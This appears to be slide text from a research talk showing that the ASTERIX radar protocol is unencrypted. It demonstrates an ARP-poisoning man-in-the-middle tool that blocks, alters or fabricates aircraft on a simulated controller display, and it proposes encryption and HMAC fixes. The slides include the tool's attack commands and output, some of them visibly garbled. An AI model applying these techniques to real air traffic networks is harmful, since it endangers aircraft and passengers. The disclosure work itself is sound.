VULNERABILITY OF RADAR PROTOCOL AND PROPOSED MITIGATION
ABOUT US

○ We are an investigation group from Córdoba, Argentina.

○ Eduardo Casanovas is an Electronic Engineer, Telecommunications Specialist, Cryptography and Teleinformatic-Security Specialist, Master in Telecommunications- Engineering- Science. Also, he is a graduate teacher in IUA.

○ Tomás Buchaillot and Facundo Baigorria are System Analysts and University Technician in Programming. They are finishing their Software Engineer degree.

○ Eduardo is actually the thesis project’s tutor for Tomas and Facundo. This paper is based on our thesis project.
THE PROBLEM

- The radar system is extremely important and each government **MUST** ensure the safety of passengers and the efficiency of the system.

- Nowadays, the data traffic between the radars and the operation center of the airports **IS NOT SAFE**.

- In this presentation we are going to show you the problem in this data protocol –ASTERIX-; a simulation of an attack and a proposed mitigation.
- **All Purpose Structured Eurocontrol Surveillance Information Exchange.**

- Standard protocol designed to exchange data between radar sensors and the control centers through means of a message structure.

- Has been developed bit by bit to provide and optimize surveillance information exchange inside and between countries which makes the aerial traffic control centers (ATC) ASTERIX’s main users.
ASTERIX - Structure

- Data Categories
- Data Item
- Data Field
- User Application Profile
- Data Block
- Registers
ASTERIX - Structure
Data Category (CAT) = 048, is a one-octet field indicating that the Data Block contains radar target reports;

Length Indicator (LEN) is a two-octet field indicating the total length in octets of the Data Block, including the CAT and LEN fields;

FSPEC is the Field Specification.
# ASTERIX - Category 048

![Diagram of ASTERIX Category 048](image)

<table>
<thead>
<tr>
<th>Data Item</th>
<th>Data Item Description</th>
<th>Length in Octets</th>
</tr>
</thead>
<tbody>
<tr>
<td>1048/140</td>
<td>Time-of-Day</td>
<td>3</td>
</tr>
<tr>
<td>1048/020</td>
<td>Target Report Descriptor</td>
<td>1+</td>
</tr>
<tr>
<td>1048/040</td>
<td>Measured Position in Slant Polar Coordinates</td>
<td>4</td>
</tr>
<tr>
<td>1048/090</td>
<td>Flight Level in Binary Representation</td>
<td>2</td>
</tr>
<tr>
<td>1048/130</td>
<td>Radar Plot Characteristics</td>
<td>1+1+</td>
</tr>
<tr>
<td>n.a.</td>
<td>Field Extension Indicator</td>
<td>n.a.</td>
</tr>
<tr>
<td>1048/220</td>
<td>Aircraft Address</td>
<td>3</td>
</tr>
<tr>
<td>1048/250</td>
<td>Mode S MB Data</td>
<td>1+8*n</td>
</tr>
<tr>
<td>1048/161</td>
<td>Track Number</td>
<td>2</td>
</tr>
<tr>
<td>1048/042</td>
<td>Calculated Position in Cartesian Coordinates</td>
<td>4</td>
</tr>
<tr>
<td>1048/200</td>
<td>Calculated Track Velocity in Polar Representation</td>
<td>4</td>
</tr>
<tr>
<td>1048/170</td>
<td>Track Status</td>
<td>1+</td>
</tr>
<tr>
<td>n.a.</td>
<td>Field Extension Indicator</td>
<td>n.a.</td>
</tr>
<tr>
<td>1048/210</td>
<td>Track Quality</td>
<td>4</td>
</tr>
</tbody>
</table>
Gives the attacker the possibility to read, insert, drop and modify the packets.

ARP Poisoning technique.
Since all the ASTERIX data travels **unencrypted**, we just need to get into an airport network the make the attack.

That is **scary**.

We developed a software which captures all the packets between two nodes (Radar and Operation Center) and **manipulates** them. In order to do that, the software creates a virtual interface in which all the packages go through.

This software receives three options: BLOCK, ADD and MOD. With these options, we can delete the aircraft’s information, modify the route of the airplanes or even add new airplanes in the system. In other words, **we own all the radar traffic**.
For the simulation of the operation, we developed a software called AGIUA. This software takes the data of the airplane and creates the ASTERIX packets.

In this section, we developed our own firewall using iptables rules.

FlightGear, an open-source flight simulator, represents the ASTERIX packets as a radar.

In order to recreate a real airplane data, we use FlightGear, an open-source flight simulator, and decode the data of the airplane.
It is a multiplatform open-sourced flight simulator.

We use this software with the purpose of obtaining real-time aircraft data.
FlightGear has a system which can obtain real-time aircraft data through a XML file.

Doing so, we set the necessary data and we send them to a specific AGIUA port.
AGIUA (Asterix Generator IUA) takes the data from a specific port and creates with it ASTERIX packets and sends them through the network.

As for now, AGIUA can only create category 48, 32, 1 and 2 packets.
This software receives the ASTERIX packets and puts them in a queue. After that, the software creates threads that decode these packets and send them to a graphical interface. This GUI, has 2 radars: a radar in which we can see the normal route of the planes and a hacked radar in which we see the attacks.
ATTACK SIMULATION

Simulated Network

Operation Center

MITMAST

Airplane

Radar

Router
MITMAST (Man In The Middle ASTerix) is a software which makes the ARP Poisoning attack and modifies the ASTERIX blocks of the packages depending on the given option.

We have 3 options:

**MOD**
With this option, we can change the route of a determined aircraft. We just need the Aircraft Address and the final coordinates of the plane.

**BLOCK**
With this option, we can delete all the packets of a particular aircraft that has been sent in the network. We just need the Aircraft Address, which is contained in each ASTERIX packet.

**ADD**
With this option, we can add a certain number of fake planes. We just need the Aircraft Address which we want to "copy" and a certain number of fake planes.
**MitM - Sniff Command**

```
[root@MITM Mitm-master]# ./mitm -i eth0 -t 192.168.1.200 192.168.1.201 -t
Created tap interface mitm0
Attacker is at 00:50:56:20:CC:6B
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2
Tom is in the middle (Press escape to exit)
37 packets sniffed
```
MitM - BLOCK Command

```
./mitm -i eth0 -t 192.168.1.200 192.168.1.201 -t -o BLOCK
```

Aircraft Adress: 49d0a9

** AA: 49d0a9 ** Created tap interface mitm0
Attacker is at 00:50:56:20:CC:6B
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2
Tom is in the middle (Press escape to exit)

7 aircrafts blocked

Cantidad de paquetes bloqueados
MitM  - ADD Command

```
./mitm -i eth0 -t 192.168.1.200 192.168.1.201 -t -o ADD
```

Aircraft Adress: 49d0a9

```
22 aircrafts added (11 * 2)
```

CANTIDAD de aviones fantasmas: 2

```
Attacker is at 00:50:56:20:CC:6B
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2
Tom is in the middle (Press escape to exit)
```
MitM - MOD Command

Comando para modificar la trayectoria de un avión

Dirección del avión a ser modificado

Coordenadas de destino dentro del radar

Cantidad de paquetes modificados
MitM - Attack

**CONVERSION DATOS AERONAVE A DATOS ASTERIX**
- Coordenadas Cartesionas ASTERIX (x,y): (fffeff,fffffff)
- Coordenadas Palaers ASTERIX (rho,theta): (0680,7142)

**PAquete enviado al centro de operaciones**

**PAquete de aeronave recibido**
- Largo paquete: 37
  - Largo Aeronave: -64,264269
  - Longitud Aeronave: -31,318489
- Velocidad Aeronave: 71,761337

**DATOS DEL RADAR**
- Largo Radar: -31,31259081
- Longitud Radar: -64,2602727
- Distancia Aeronave (nn): 0,372208

**CONVERSION DATOS AERONAVE A DATOS ASTERIX**
- Coordenadas Cartesionas ASTERIX (x,y): (fffeff,fffffff)
- Coordenadas Palaers ASTERIX (rho,theta): (0680,7142)

**Paquete enviado al centro de operaciones**

[root@MITM Mitm-master]# ./mitm -i eth0 -t 192.168.1.200 192.168.1.201 -t
Created tap interface mitm0
Attacker is at 80:56:56:20:CC:6B
192.168.1.200 is at 00:56:56:25:67:C1
192.168.1.201 is at 00:56:56:25:67:C2
Tom is in the middle (Press escape to exit)
14 packets sniffed
Shutting down, please wait
Cleaning up ARP tables

[root@MITM Mitm-master]# ./mitm -i eth0 -t 192.168.1.200 192.168.1.201 -t -o BLOCK
Aircraft Address:49d0a9

** AA : 49d0a9 ** Created tap interface mitm0
Attacker is at 80:56:56:20:CC:6B
192.168.1.200 is at 00:56:56:25:67:C1
192.168.1.201 is at 00:56:56:25:67:C2
Tom is in the middle (Press escape to exit)
30 aircrafts blocked
Shutting down, please wait
Cleaning up ARP tables

MitM - Attack

1. FlightGear generates data in the XML file format.
2. It sends the data to the Radar's VM.
3. It receives data, decodes it, and generates ASTERIX packets.
4. It sends the data to the CO (Operation Center).
5. It performs the MitM attack. It changes the transmitter and receiver MAC address in order to force the packets to go through it.
MitM - Attack

6. It executes any of the available commands

It executes the ARP poisoning.
-192.168.1.200: Radar’s VM IP address.
-192.168.1.201: CO’s VM IP address.

[root@MitM Mitm-master]# ./mita -i eth0 -t 192.168.1.200 192.168.1.201 -t
MitM attack started

Attacker is at 00:50:56:25:87:C1
192.168.1.200 is at 00:50:56:25:87:C1
192.168.1.201 is at 00:50:56:25:87:C2

[mita@MitM家中 tomuuz@MitM-home tomuuz@mitm-master]# echo is in the middle (Press escape to exit)
14 packets sniffed
Shutting down, please wait

[mita@MitM家中 tomuuz@MitM-home tomuuz@mitm-master]# echo is in the middle (Press escape to exit)
30 aircrafts blocked

**M i t M**

-Sniff Demonstration

**AIRCRAFT DATA CONVERSION TO ASTERIX**
Cartesian coordinates ASTERIX (x,y): (ffffeeb,ffffff95)
Polar coordinates ASTERIX (rho,theta): (0253,4f02)

**Packet sent to the operations center**

**AIRCRAFT RECEIVED PACKET**
 Packet length: 37
- Aircraft Longitude: 2,103520
- Aircraft Latitude: 41,365668
- Aircraft speed: 12,316390

**RADAR DATA**
- Radar Latitude: 41,29694400
- Radar Longitude: 2,87033300
Distance aircraft (nm): 1,251158

**AIRCRAFT DATA CONVERSION TO ASTERIX**
 Cartesian coordinates ASTERIX (x,y): (ffffeeb,ffffff96)
Polar coordinates ASTERIX (rho,theta): (0251,4f05)

**Packet sent to the operations center**
MitM - BLOCK Demonstration

---

**AIRCRAFT DATA CONVERSION TO ASTERIX**
Cartesian coordinates ASTERIX \((x,y)\): \((828,0044)\)
Polar coordinates ASTERIX \((\rho,\theta)\): \((8558,38e2)\)

**Packet sent to the operations center**

---

**AIRCRAFT RECEIVED PACKET**
- Packet length: 37
- Aircraft Longitude: 2,014460
- Aircraft Latitude: 41,291759
- Aircraft speed: 133,358995

**RADAR DATA**
- Radar Latitude: 41,29694480
- Radar Longitude: 2,97853380
- Distance aircraft \((\text{nm})\): 2,899900

**AIRCRAFT DATA CONVERSION TO ASTERIX**
Cartesian coordinates ASTERIX \((x,y)\): \((92ac,003d)\)
Polar coordinates ASTERIX \((\rho,\theta)\): \((855e,3c54)\)

**Packet sent to the operations center**

---

[root@MITM Mitm-master]# mltm -1 eth0 -t 192.168.1.200 192.168.1.201 -t
Created tap interface mitm0
Attacker is at 80:50:56:20:CC:6B
192.168.1.200 is at 00:50:56:25:07:C1
192.168.1.201 is at 00:50:56:25:07:C2
Tom is in the middle (Press escape to exit)
115 packets sniffed.
**MitM - ADD Demonstration**

**AIRCRAFT DATA CONVERSION TO ASTERIX**
Pont coordinates ASTERIX (rho,theta): (-0022.6675)

**Packet sent to the operations center**

**AIRCRAFT RECEIVED PACKET**
- Packet length: 37
- Aircraft Longitude: 2.159888
- Aircraft Latitude: 41.378656
- Aircraft speed: 131.665936

**RADAR DATA**
- Radar Latitude: 41.2964400
- Radar Longitude: 2,8783380
Distance aircraft (nm): 7,124694

**AIRCRAFT DATA CONVERSION TO ASTERIX**
Cartesian coordinates ASTERIX (x,y): (ffffc37,ffff0a0)
Polar coordinates ASTERIX (rho,theta): (-0d31,0716)

**Packet sent to the operations center**
**MOD Demonstration**

---

**AIRCRAFT DATA CONVERSION TO ASTERIX**
Cartesian coordinates ASTERIX (x,y): (ffffe78,ffffffd6)
Polar coordinates ASTERIX (rho,theta): (88b3,6c9e)

**Packet sent to the operations center**

---

**AIRCRAFT RECEIVED PACKET**
- Packet length: 37
- Aircraft Longitude: 2,110578
- Aircraft Latitude: 41,352619
- Aircraft Speed: 95,886278

---

**RADAR DATA**
- Radar Latitude: 41,29664488
- Radar Longitude: 2,87838330
Distance aircraft (nm): 3,646139

---

**AIRCRAFT DATA CONVERSION TO ASTERIX**
Cartesian coordinates ASTERIX (x,y): (ffffe78,ffffffcflf)
Polar coordinates ASTERIX (rho,theta): (88c6,6c6b)

**Packet sent to the operations center**

---

[root@MITM Mitm-master]# /mitm -l eth0 -t 192.168.1.200 192.168.1.201 -t
Created tap interface mitm0
Attacker is at 80:50:56:20:CC:68
192.168.1.200 is at 00:50:56:25:07:c1
192.168.1.201 is at 00:56:56:25:07:c2
Tom is in the middle (Press escape to exit)
7 packets sniffed.
ASTERIX does not have any security mechanism of its own. This leads us to cover the following aspects.

**Packets Modification**

**Replay Attack**

The attacker is able to perform an MiTM which allows it to modify the packets. The attacker is able to sniff the network data traffic and also save it and try to inject it in another moment.

Possible mitigation:

- Encryption of the most critical data fields, for instance the aircraft ID, the aircraft address and its position.
- Validation of the packets integrity using hash functions.
- Validation of the packets integrity using HMAC functions.
- Encryption of each packet timestamp.

Encryption with Associated Data) because of their confidentiality, integrity and authentication.
- It is very important that any of the security measures used does not impair the system’s performance.

- Based on our tests we can demonstrate that with the latest processing power we can achieve the incorporation of these security measures without impairing the normal flow of sent and received packages from the operation center.
ASTERIX protocol is vulnerable.

An attack like the one shown before can bring huge monetary or lives lost in any country.

With an encryption mechanism this problem can be solved.
Questions Time
Thank you! 
Have a good flight home!